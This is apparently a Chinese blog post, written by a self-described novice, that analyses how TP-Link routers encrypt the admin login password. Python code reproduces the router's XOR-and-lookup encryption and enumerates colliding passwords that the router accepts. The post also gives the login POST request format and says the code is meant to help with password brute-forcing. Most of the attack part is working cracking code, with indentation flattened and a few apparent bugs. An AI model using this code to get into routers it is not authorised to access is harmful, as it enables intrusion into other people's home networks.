1.先说结论:
1,在密码组合是数字大小写字母的情况下。加密有截断作用,7-13位密码及16位以上没有其它长度的密码,13-15位有少量其它长度的密码。就是随着密码越长,密码组合也越多,但有长度限制。从下表中一定有你的密码
可以百度搜索10秒破某tp路由。你会更好理解。如:
此密码 66ULYn 的密文为: H4H1dqhc9TefbwK 长度为 6 位
此密码长度小于13位,没有比它长的密码。
此密码长度等于 6 位长度的密文的密码有: 240 个,总共有 240 个密码. 集合为:
['6Mw', '6orWz', 'oU', 'Ly', 'uY', 'nz'] 结束!
当您密码为66ULYn,以上集合任意组合密码都能登录您的路由器,很神奇吧。这就是加密算法带来的小漏洞。代码后面给出,会自动生成上面的表格。
本人小白。如有错误,欢迎批判。希望对你的密码爆破有帮助!
2.过程及实现代码:
tp-link 登录提交方式
- POST {"method":"do","login":{"password":"WbZ6onhc9TefbwK"}}
- 路由器加密代码:
short = "RDpbLfCPsJZ7fiv"
# a
Lng = 'yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW'
# c
#PawD = '123456@...'
PawD = 'd52533'
# b
# ord与JS的charCodeAt方法类似,返回指定位置的字符的 Unicode 编码
def encrypt_passwd(a, b, c):
e = ''
f, g, h, k, l = 187, 187, 187, 187, 187
n = 187
g = len(a)
h = len(b)
k = len(c)
if g > h:
f = g
else:
f = h
for p in list(range(0, f)):
n = l = 187
if p >= g:
n = ord(b[p])
else:
if p >= h:
l = ord(a[p])
else:
l = ord(a[p])
n = ord(b[p])
e += c[(l ^ n) % k]
#print (e)
return e
pw=encrypt_passwd(short, PawD, Lng)
Python代码:
import pandas as pd
import os
class Getmmjh:
short = "RDpbLfCPsJZ7fiv"
# a
Lng = 'yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW'
# c
lns = len(Lng)
my = '012345hc9TefbwK'
def __init__(self, mima):
self.mima = mima
#获取密码集合
def get_pddata(self): # 定义实例方法
short=self.short
Lng=self.Lng
new_s = list(set(Lng)) # 转换为集合再转换为列表
Lng = "".join(set(new_s))
if os.path.exists('./mmjh.csv'):
df = pd.read_csv('mmjh.csv', index_col=0)
#print(df)
return df
else:
ls=[]
for s in short:#s为列名
dic ={}
for k in Lng:# k为行名
l = ord(s)
st = self.jisuan(l,k)
if st == '':
continue
dic[k]=st
df=pd.DataFrame(dic.values(),index=dic.keys(),columns=[s])
print(df,'\n','@@@@@@@@@@@@@@@@@@@@@@@@@@@')
ls.append(df)
df=pd.concat(ls,axis=1,join='outer')
df.to_csv('./mmjh.csv')
return df
def jisuan(self,l,word,n=1):
Lng = self.Lng
yy = "0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz"
st = ''
if l == 187:
gg = (l ^ n) % self.lns
for y in yy:
if Lng[gg] == word:
st += y
else:
for y in yy:
n = ord(y)
gg = (l ^ n) % self.lns
if Lng[gg] == word:
st += y
return st
def getpd(self,miwen,ml):
df = self.get_pddata()
short =self.short
ls = []
cj = 1
if ml >15:
ml=15
for i in range(ml):
n = short[i]
m = miwen[i]
st = df.loc[m, n]
ls.append(st)
cj *= len(st)
return cj,ls
# 计算比它长度还大的集合
def dachang(self,miwen,ml,cj,ls):
df = self.get_pddata()
dcj = 1
dls = []
sm =0
for k in range(15 - ml, 0, -1):
m = miwen[-k]
n = self.short[-k]
st = df.loc[m, n]
dcj *= len(st)
dls.append(st)
ls += dls
cj *= dcj
sm += cj
print(16 - k, '位长度的密文的密码有:', cj, '个集合为:', '\n', ls)
return sm
# 计算比它长度还小的集合
def xchang(self,miwen,ml,cj,ls):
df = self.get_pddata()
dcj = 1
dls = ls
sm = cj
for i in range(ml - 17, -11, -1):
m = miwen[i]
if m == self.my[i]:
st = df.loc[m, self.short[i]]
dcj *= len(st)
dls.append(st)
dls += ls
cj *= dcj
sm += cj
print(16 + i, '位长度的密文的密码有:', sm, '个集合为:', '\n', dls)
else:
print('此密码没有比', 16 + i, '位长度还短的密码!总共有', sm, '个密码.' ,'集合为:', '\n', ls, '结束!')
break
if i == -10:
cj6,ls6 = self.getpd(miwen,6)
dls += ls6
sm += cj6
print('6位长度的密文的密码有:', sm, '个,总共有', sum, '个密码.','集合为:', '\n', ls, '结束!')
# 加密方法
def encrypt_passwd(self, b):#加密方法
a=self.short
c=self.Lng
e = ''
f, g, h, k, l = 187, 187, 187, 187, 187
n = 187
g = len(a)
h = len(b)
k = len(c)
if g > h:
f = g
else:
f = h
for p in list(range(0, f)):
n = l = 187
if p >= g:#15
n = ord(b[p])
else:
if p >= h:
l = ord(a[p])
else:
l = ord(a[p])
n = ord(b[p])
e += c[(l ^ n) % k]
# print (e)
return e
def mwei(self):
mima = self.mima
'''
if not re.fullmatch(r'[a-z0-9]+', mima):
print('密码不是数字或小字母,请重新输入密码!')
return
'''
my = self.my
miwen = self.encrypt_passwd(mima)
ml = len(mima)
print('此密码',mima,'的密文为:', miwen, '长度为', ml, '位')
cj, ls = self.getpd(miwen, ml)
if ml > 15:
dcj = 1
dls=[]
for s in range(ml-15,0):
word = miwen[-s]
n = ord(word)
l = 187
st= self.jisuan(l,word,n)
dls.append(st)
dcj *=len(st)
ls +=dls
cj *= dcj
print('此密码位数大于15,没有其它长度的密码。其中相同', ml, '位长度的密文的密码有:', cj, '个','集合为:', '\n', ls, '结束!')
elif ml < 6:
print('您的密码小于6位,请重新输入')
else:
while True:
nn = miwen[ml - 16]
#计算比它长度还大的集合
if ml >= 13:
sm = self.dachang(miwen, ml, cj, ls)
else:
print('此密码长度小于13位,没有比它长的密码。')
if ml == 6:
print('此密码长度等于', ml, '位长度的密文的密码有:', cj, '个,总共有', cj, '个密码.', '集合为:', '\n', ls, '结束!')
break
if nn != my[ml - 16]:
if ml <13:
print('此密码长度等于', ml, '没有比它还短的密码了。有相同长度密文的密码有', cj, '个密码.', '集合为:', '\n', ls, '结束!')
else:
print('此密码长度等于', ml, '没有比它还短的密码了。有相同长度密文的密码有', cj + sm, '个密码.','集合为:', '\n', ls, '结束!')
break
else:
print('此密码长度等于', ml, '有相同长度密文的密码有', cj, '个密码.', '集合为:', '\n', ls)
if ml >=13:
cj +=sm
# 计算比它长度还小的集合
self.xchang(miwen, ml, cj, ls)
if __name__ == "__main__":
#数字或小写字母,不然会报错,除非您改进,修改yy = '0123456789abcdefghijklmnopqrstuvwxyz'
PWD = '66ULYn'
Getmmjh(PWD).mwei()
'''
#计算9-15位hc9TefbwK有没有数字或小写字母,只有长度为13-15时才有可能有
yy = '0123456789abcdefghijklmnopqrstuvwxyz'
Lng = 'yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW'
yy2 = "0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz~!@#$%^&*()_+-=[]{}|;':\,.<>/?"
short = "RDpbLfCPsJZ7fiv"
ss = 'vUJLv7hc9TefbwK'
for i in range(-9,0):
e1=ss[i]
s=''
for k in yy:
n = ord(k)
l = ord(short[i])
gg = (l ^ n) % 187
e =Lng[gg]
if e == e1:
s +=k
print('在',i,'位上有:',s)'''